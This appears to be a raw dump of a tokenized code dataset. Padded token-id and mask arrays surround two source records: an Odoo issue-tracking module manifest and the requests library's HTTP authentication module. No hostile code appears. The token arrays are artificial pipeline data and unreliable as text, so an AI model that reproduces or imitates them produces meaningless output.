5033, 12, 6513, 12, 14256, 12, 4422, 12, 1923, 12, 1240, 4429, 12, 686, 257, 23202, 12, 2909, 12, 4113, 304, 199, 198, 83, 1985, 275, 620, 8, 1985, 9, 199, 198, 893, 26, 507, 198, 4824, 63, 793, 59, 83, 1985, 61, 275, 5978, 63, 793, 59, 83, 1985, 61, 435, 413, 199, 198, 2590, 26, 507, 198, 4824, 63, 793, 59, 83, 1985, 61, 275, 413, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
QinerTech/QinerApps
openerp/addons/project_issue/__openerp__.py
27
1329
# -*- encoding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. { 'name': 'Issue Tracking', 'version': '1.0', 'category': 'Project Management', 'sequence': 40, 'summary': 'Support, Bug Tracker, Helpdesk', 'description': """ Track Issues/Bugs Management for Projects ========================================= This application allows you to manage the issues you might face in a project like bugs in a system, client complaints or material breakdowns. It allows the manager to quickly check the issues, assign them and decide on their status quickly as they evolve. """, 'website': 'https://www.odoo.com/page/project-management', 'depends': [ 'sales_team', 'project', ], 'data': [ 'project_issue_view.xml', 'project_issue_menu.xml', 'report/project_issue_report_view.xml', 'security/project_issue_security.xml', 'security/ir.model.access.csv', 'project_issue_data.xml', 'project_dashboard.xml', ], 'demo': ['project_issue_demo.xml'], 'test': [ 'test/issue_users.yml', 'test/subscribe_issue.yml', 'test/issue_process.yml', 'test/issue_demo.yml' ], 'installable': True, 'auto_install': False, 'application': True, }
gpl-3.0
[ 3, 1882, 2644, 26, 2774, 13, 24, 1882, 199, 3, 14320, 402, 28935, 14, 1666, 5113, 570, 367, 2615, 4248, 436, 32572, 2436, 14, 199, 199, 91, 272, 283, 354, 356, 283, 17106, 17507, 316, 297, 272, 283, 1023, 356, 283, 17, 14, 16, 297, 272, 283, 3710, 356, 283, 4761, 8259, 297, 272, 283, 4041, 356, 6335, 12, 272, 283, 4705, 356, 283, 11532, 12, 21605, 17507, 281, 12, 15456, 10368, 297, 272, 283, 1802, 356, 408, 199, 7927, 13383, 83, 15, 1713, 458, 8259, 367, 7290, 83, 199, 2486, 15495, 199, 2765, 4223, 6127, 1265, 370, 9635, 314, 10876, 1265, 5594, 8870, 315, 282, 2199, 2839, 18227, 315, 282, 2656, 12, 1890, 32493, 13141, 503, 6285, 2059, 68, 23311, 14, 9948, 199, 7940, 6127, 314, 5256, 370, 23661, 1104, 314, 10876, 12, 5090, 3062, 436, 19822, 641, 3932, 2004, 23661, 465, 2985, 8145, 3344, 14, 272, 10327, 272, 283, 7360, 356, 283, 2859, 921, 1544, 14, 22058, 14, 957, 15, 1606, 15, 1715, 13, 8110, 297, 272, 283, 8912, 356, 359, 267, 283, 16175, 63, 5969, 297, 267, 283, 1715, 297, 272, 2156, 272, 283, 576, 356, 359, 267, 283, 1715, 63, 5237, 63, 1345, 14, 1652, 297, 267, 283, 1715, 63, 5237, 63, 4470, 14, 1652, 297, 267, 283, 3070, 15, 1715, 63, 5237, 63, 3070, 63, 1345, 14, 1652, 297, 267, 283, 4416, 15, 1715, 63, 5237, 63, 4416, 14, 1652, 297, 267, 283, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 297, 267, 283, 1715, 63, 5237, 63, 576, 14, 1652, 297, 267, 283, 1715, 63, 9743, 14, 1652, 297, 1362, 2156, 272, 283, 8768, 356, 788, 1715, 63, 5237, 63, 8768, 14, 1652, 995, 272, 283, 396, 356, 359, 267, 283, 396, 15, 5237, 63, 3707, 14, 11714, 297, 267, 283, 396, 15, 10108, 63, 5237, 14, 11714, 297, 267, 283, 396, 15, 5237, 63, 1412, 14, 11714, 297, 267, 283, 396, 15, 5237, 63, 8768, 14, 11714, 7, 272, 2156, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 756, 12, 272, 283, 3578, 356, 715, 12, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2644, 26, 2774, 13, 24, 1882, 199, 3, 14320, 402, 28935, 14, 1666, 5113, 570, 367, 2615, 4248, 436, 32572, 2436, 14, 199, 199, 91, 272, 283, 354, 356, 283, 17106, 17507, 316, 297, 272, 283, 1023, 356, 283, 17, 14, 16, 297, 272, 283, 3710, 356, 283, 4761, 8259, 297, 272, 283, 4041, 356, 6335, 12, 272, 283, 4705, 356, 283, 11532, 12, 21605, 17507, 281, 12, 15456, 10368, 297, 272, 283, 1802, 356, 408, 199, 7927, 13383, 83, 15, 1713, 458, 8259, 367, 7290, 83, 199, 2486, 15495, 199, 2765, 4223, 6127, 1265, 370, 9635, 314, 10876, 1265, 5594, 8870, 315, 282, 2199, 2839, 18227, 315, 282, 2656, 12, 1890, 32493, 13141, 503, 6285, 2059, 68, 23311, 14, 9948, 199, 7940, 6127, 314, 5256, 370, 23661, 1104, 314, 10876, 12, 5090, 3062, 436, 19822, 641, 3932, 2004, 23661, 465, 2985, 8145, 3344, 14, 272, 10327, 272, 283, 7360, 356, 283, 2859, 921, 1544, 14, 22058, 14, 957, 15, 1606, 15, 1715, 13, 8110, 297, 272, 283, 8912, 356, 359, 267, 283, 16175, 63, 5969, 297, 267, 283, 1715, 297, 272, 2156, 272, 283, 576, 356, 359, 267, 283, 1715, 63, 5237, 63, 1345, 14, 1652, 297, 267, 283, 1715, 63, 5237, 63, 4470, 14, 1652, 297, 267, 283, 3070, 15, 1715, 63, 5237, 63, 3070, 63, 1345, 14, 1652, 297, 267, 283, 4416, 15, 1715, 63, 5237, 63, 4416, 14, 1652, 297, 267, 283, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 297, 267, 283, 1715, 63, 5237, 63, 576, 14, 1652, 297, 267, 283, 1715, 63, 9743, 14, 1652, 297, 1362, 2156, 272, 283, 8768, 356, 788, 1715, 63, 5237, 63, 8768, 14, 1652, 995, 272, 283, 396, 356, 359, 267, 283, 396, 15, 5237, 63, 3707, 14, 11714, 297, 267, 283, 396, 15, 10108, 63, 5237, 14, 11714, 297, 267, 283, 396, 15, 5237, 63, 1412, 14, 11714, 297, 267, 283, 396, 15, 5237, 63, 8768, 14, 11714, 7, 272, 2156, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 756, 12, 272, 283, 3578, 356, 715, 12, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jclakkis/discus-inferno
flaskenv/lib/python2.7/site-packages/pip/_vendor/requests/auth.py
294
6173
# -*- coding: utf-8 -*- """ requests.auth ~~~~~~~~~~~~~ This module contains the authentication handlers for Requests. """ import os import re import time import hashlib import logging from base64 import b64encode from .compat import urlparse, str from .cookies import extract_cookies_to_jar from .utils import parse_dict_header log = logging.getLogger(__name__) CONTENT_TYPE_FORM_URLENCODED = 'application/x-www-form-urlencoded' CONTENT_TYPE_MULTI_PART = 'multipart/form-data' def _basic_auth_str(username, password): """Returns a Basic Auth string.""" return 'Basic ' + b64encode(('%s:%s' % (username, password)).encode('latin1')).strip().decode('latin1') class AuthBase(object): """Base class that all auth implementations derive from""" def __call__(self, r): raise NotImplementedError('Auth hooks must be callable.') class HTTPBasicAuth(AuthBase): """Attaches HTTP Basic Authentication to the given Request object.""" def __init__(self, username, password): self.username = username self.password = password def __call__(self, r): r.headers['Authorization'] = _basic_auth_str(self.username, self.password) return r class HTTPProxyAuth(HTTPBasicAuth): """Attaches HTTP Proxy Authentication to a given Request object.""" def __call__(self, r): r.headers['Proxy-Authorization'] = _basic_auth_str(self.username, self.password) return r class HTTPDigestAuth(AuthBase): """Attaches HTTP Digest Authentication to the given Request object.""" def __init__(self, username, password): self.username = username self.password = password self.last_nonce = '' self.nonce_count = 0 self.chal = {} self.pos = None def build_digest_header(self, method, url): realm = self.chal['realm'] nonce = self.chal['nonce'] qop = self.chal.get('qop') algorithm = self.chal.get('algorithm') opaque = self.chal.get('opaque') if algorithm is None: _algorithm = 'MD5' else: _algorithm = algorithm.upper() # lambdas assume digest modules are imported at the top level if _algorithm == 'MD5' or _algorithm == 'MD5-SESS': def md5_utf8(x): if isinstance(x, str): x = x.encode('utf-8') return hashlib.md5(x).hexdigest() hash_utf8 = md5_utf8 elif _algorithm == 'SHA': def sha_utf8(x): if isinstance(x, str): x = x.encode('utf-8') return hashlib.sha1(x).hexdigest() hash_utf8 = sha_utf8 KD = lambda s, d: hash_utf8("%s:%s" % (s, d)) if hash_utf8 is None: return None # XXX not implemented yet entdig = None p_parsed = urlparse(url) path = p_parsed.path if p_parsed.query: path += '?' + p_parsed.query A1 = '%s:%s:%s' % (self.username, realm, self.password) A2 = '%s:%s' % (method, path) HA1 = hash_utf8(A1) HA2 = hash_utf8(A2) if nonce == self.last_nonce: self.nonce_count += 1 else: self.nonce_count = 1 ncvalue = '%08x' % self.nonce_count s = str(self.nonce_count).encode('utf-8') s += nonce.encode('utf-8') s += time.ctime().encode('utf-8') s += os.urandom(8) cnonce = (hashlib.sha1(s).hexdigest()[:16]) noncebit = "%s:%s:%s:%s:%s" % (nonce, ncvalue, cnonce, qop, HA2) if _algorithm == 'MD5-SESS': HA1 = hash_utf8('%s:%s:%s' % (HA1, nonce, cnonce)) if qop is None: respdig = KD(HA1, "%s:%s" % (nonce, HA2)) elif qop == 'auth' or 'auth' in qop.split(','): respdig = KD(HA1, noncebit) else: # XXX handle auth-int. return None self.last_nonce = nonce # XXX should the partial digests be encoded too? base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \ 'response="%s"' % (self.username, realm, nonce, path, respdig) if opaque: base += ', opaque="%s"' % opaque if algorithm: base += ', algorithm="%s"' % algorithm if entdig: base += ', digest="%s"' % entdig if qop: base += ', qop="auth", nc=%s, cnonce="%s"' % (ncvalue, cnonce) return 'Digest %s' % (base) def handle_401(self, r, **kwargs): """Takes the given response and tries digest-auth, if needed.""" if self.pos is not None: # Rewind the file position indicator of the body to where # it was to resend the request. r.request.body.seek(self.pos) num_401_calls = getattr(self, 'num_401_calls', 1) s_auth = r.headers.get('www-authenticate', '') if 'digest' in s_auth.lower() and num_401_calls < 2: setattr(self, 'num_401_calls', num_401_calls + 1) pat = re.compile(r'digest ', flags=re.IGNORECASE) self.chal = parse_dict_header(pat.sub('', s_auth, count=1)) # Consume content and release the original connection # to allow our new request to reuse the same one. r.content r.raw.release_conn() prep = r.request.copy() extract_cookies_to_jar(prep._cookies, r.request, r.raw) prep.prepare_cookies(prep._cookies) prep.headers['Authorization'] = self.build_digest_header( prep.method, prep.url) _r = r.connection.send(prep, **kwargs) _r.history.append(r) _r.request = prep return _r setattr(self, 'num_401_calls', 1) return r def __call__(self, r): # If we have a saved nonce, skip the 401 if self.last_nonce: r.headers['Authorization'] = self.build_digest_header(r.method, r.url) try: self.pos = r.body.tell() except AttributeError: pass r.register_hook('response', self.handle_401) return r
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 6615, 14, 1178, 199, 22935, 94, 199, 199, 2765, 859, 3509, 314, 6299, 8297, 367, 20260, 14, 199, 624, 199, 199, 646, 747, 199, 646, 295, 199, 646, 900, 199, 646, 8337, 199, 646, 2050, 199, 199, 504, 1300, 772, 492, 330, 772, 2143, 199, 199, 504, 1275, 5819, 492, 7097, 12, 620, 199, 504, 1275, 7792, 492, 5536, 63, 7792, 63, 475, 63, 7338, 199, 504, 1275, 1208, 492, 2198, 63, 807, 63, 1291, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 9663, 63, 2711, 63, 3516, 63, 2632, 742, 6012, 36, 275, 283, 3578, 15, 88, 13, 1544, 13, 964, 13, 21886, 7, 199, 9663, 63, 2711, 63, 21389, 63, 14848, 275, 283, 10123, 15, 964, 13, 576, 7, 421, 199, 318, 485, 4316, 63, 1178, 63, 495, 8, 2473, 12, 2505, 304, 272, 408, 3407, 282, 10082, 3590, 1059, 1041, 339, 372, 283, 6845, 283, 435, 330, 772, 2143, 8, 3508, 83, 2689, 83, 7, 450, 334, 2473, 12, 2505, 4992, 2143, 360, 10378, 17, 11103, 1913, 1252, 2708, 360, 10378, 17, 358, 421, 199, 533, 3590, 1563, 8, 785, 304, 272, 408, 